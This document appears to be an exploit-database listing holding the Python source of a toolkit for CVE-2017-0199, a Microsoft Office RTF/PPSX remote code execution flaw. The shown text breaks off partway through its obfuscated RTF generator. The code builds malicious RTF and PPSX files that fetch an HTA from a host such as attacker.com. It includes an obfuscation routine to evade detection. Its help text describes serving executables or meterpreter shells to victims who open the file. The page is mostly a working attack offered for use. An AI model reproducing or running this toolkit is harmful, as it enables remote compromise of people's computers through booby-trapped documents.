Microsoft Word – ‘.RTF’ Remote Code Execution

#!/usr/bin/env python

'''

## Exploit toolkit CVE-2017-0199 - v4.0 (https://github.com/bhdresh/CVE-2017-0199) ##

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41894.zip

'''

import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile

from random import randint

from random import choice

from string import ascii_uppercase

from zipfile import ZipFile, ZIP_STORED, ZipInfo

BACKLOG = 50 # how many pending connections queue will hold

MAX_DATA_RECV = 999999 # max number of bytes we receive at once

DEBUG = True # set to True to see the debug msgs

def main(argv):

# Host and Port information

global port

global host

global filename

global docuri

global payloadurl

global payloadlocation

global custom

global mode

global obfuscate

global payloadtype

filename = ''

docuri = ''

payloadurl = ''

payloadlocation = ''

custom = ''

port = int("80")

host = ''

mode = ''

obfuscate = int("0")

payloadtype = 'rtf'

# Capture command line arguments

try:

opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])

except getopt.GetoptError:

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit(2)

for opt, arg in opts:

if opt == '-h':

print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Office RCE)\n"

print "Modes:\n"

print " -M gen Generate Malicious file only\n"

print " Generate malicious payload:\n"

print " -w <Filename.rtf/Filename.ppsx> Name of malicious RTF/PPSX file (Share this file with victim).\n"

print " -u <http://attacker.com/test.hta> The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.\n"

print " For example, http://attacker.com/test.doc (This URL will be included in malicious file and\n"

print " will be requested once victim will open malicious RTF/PPSX file.\n"

print " -t RTF|PPSX (default = RTF) Type of the file to be generated.\n"

print " -x 0|1 (RTF only) Generate obfuscated RTF file. 0 = Disable, 1 = Enable.\n"

print " -M exp Start exploitation mode\n"

print " Exploitation:\n"

print " -t RTF|PPSX (default = RTF) Type of file to be exolited.\n"

print " -H </tmp/custom> Local path of a custom HTA/SCT file which needs to be delivered and executed on target.\n"

print " NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"

print " -p <TCP port:Default 80> Local port number.\n"

print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"

print " -l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"

sys.exit()

elif opt in ("-M","--mode"):

mode = arg

elif opt in ("-w", "--filename"):

filename = arg

elif opt in ("-u", "--docuri"):

docuri = arg

elif opt in ("-p", "--port"):

port = int(arg)

elif opt in ("-e", "--payloadurl"):

payloadurl = arg

elif opt in ("-l", "--payloadlocation"):

payloadlocation = arg

elif opt in ("-H","--custom"):

custom = arg

elif opt in ("-x","--obfuscate"):

obfuscate = int(arg)

elif opt in ("-t","--payloadtype"):

payloadtype = arg

if "gen" in mode:

if (len(filename)<1):

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit()

if (len(docuri)<1):

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit()

if (len(payloadtype)<1):

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit()

if payloadtype.upper() == 'RTF':

if obfuscate == 1:

print "Generating obfuscated RTF file.\n"

generate_exploit_obfuscate_rtf()

sys.exit()

if obfuscate == 0:

print "Generating normal RTF payload.\n"

generate_exploit_rtf()

sys.exit()

if payloadtype.upper() == 'PPSX':

print "Generating normal PPSX payload.\n"

generate_exploit_ppsx()

sys.exit()

if payloadtype.upper() != 'RTF' and payloadtype.upper() != 'PPSX':

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit()

mode = 'Finished'

if "exp" in mode:

if payloadtype.upper() == 'RTF':

if (len(custom)>1):

print "Running exploit mode (Deliver Custom HTA) - waiting for victim to connect"

exploitation_rtf()

sys.exit()

if (len(payloadurl)<1):

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit()

if (len(payloadurl)>1 and len(payloadlocation)<1):

print "Running exploit mode (Deliver HTA with remote payload) - waiting for victim to connect"

exploitation_rtf()

sys.exit()

print "Running exploit mode (Deliver HTA + Local Payload) - waiting for victim to connect"

exploitation_rtf()

mode = 'Finished'

if payloadtype.upper() == 'PPSX':

if (len(custom)>1):

print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"

exploitation_ppsx()

sys.exit()

if (len(payloadurl)<1):

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit()

if (len(payloadurl)>1 and len(payloadlocation)<1):

print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"

exploitation_ppsx()

sys.exit()

print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"

exploitation_ppsx()

mode = 'Finished'

if not "Finished" in mode:

print 'Usage: python '+sys.argv[0]+' -h'

sys.exit()

def generate_exploit_rtf():

# Preparing malicious RTF

s = docuri

docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)

docuri_pad_len = 224 - len(docuri_hex)

docuri_pad = "0"*docuri_pad_len

uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"

payload += "{\\info\n"

payload += "{\\author }\n"

payload += "{\\operator }\n"

payload += "}\n"

payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"

payload += "{\n"

payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"

payload += "{\\*\\objclass Word.Document.8}\n"

payload += "{\\*\\objdata 0105000002000000\n"

payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"

payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"

payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"

payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"

payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"

payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"

payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"

payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"

payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"

payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"

payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"

payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"

payload += uri_hex+"\n"

payload += "0105000000000000}\n"

payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"

payload += "{\\*\\datastore }\n"

payload += "}\n"

f = open(filename, 'w')

f.write(payload)

f.close()

print "Generated "+filename+" successfully"

def generate_exploit_obfuscate_rtf():

# Preparing malicious obfuscated RTF

var1 = " "

var2 = "\r\n"

var3 = "\t"

var4 = ''.join(choice(ascii_uppercase) for i in range(randint(3,10)))

var5 = "{\*\\"+var4+"}"

var6 = binascii.b2a_hex(os.urandom(15))

#var6 = "0011002e1faa"

s = docuri

docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)

docuri_pad_len = 224 - len(docuri_hex)

docuri_pad = "0"*docuri_pad_len

new_docuri_hex = docuri_hex.replace('00', '{\*\\'+var6+'}00')

uri_hex = "010000020900000001000000000000000000000000000000a4000000"+"e"+var5*randint(0,10)+"0"+var5*randint(0,10)+"c"+var5*randint(0,10)+"9"+var5*randint(0,10)+"e"+var5*randint(0,10)+"a"+var5*randint(0,10)+"7"+var5*randint(0,10)+"9"+var5*randint(0,10)+"f"+var5*randint(0,10)+"9"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"c"+var5*randint(0,10)+"e"+var5*randint(0,10)+"1"+var5*randint(0,10)+"1"+var5*randint(0,10)+"8"+var5*randint(0,10)+"c"+var5*randint(0,10)+"8"+var5*randint(0,10)+"2"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"a"+var5*randint(0,10)+"a"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"4"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"9"+var5*randint(0,10)+"0"+var5*randint(0,10)+"b"+var5*randint(0,10)+"8c000000"+new_docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

payload = "{\\rtv0"+var1*randint(0,100)+"\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"

payload += "{\\info\n"

payload += "{\\author }\n"

payload += "{\\operator }\n"

payload += "}\n"

payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"

payload += "{\n"

payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"

payload += "{\\*\\objclass \\'57\\'6f\\'72\\'64.Document.8}\n"

payload += "{\\*\\objdata 0"+var2*randint(0,10)+var3*randint(0,10)+"1"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"5"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"2"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0\n"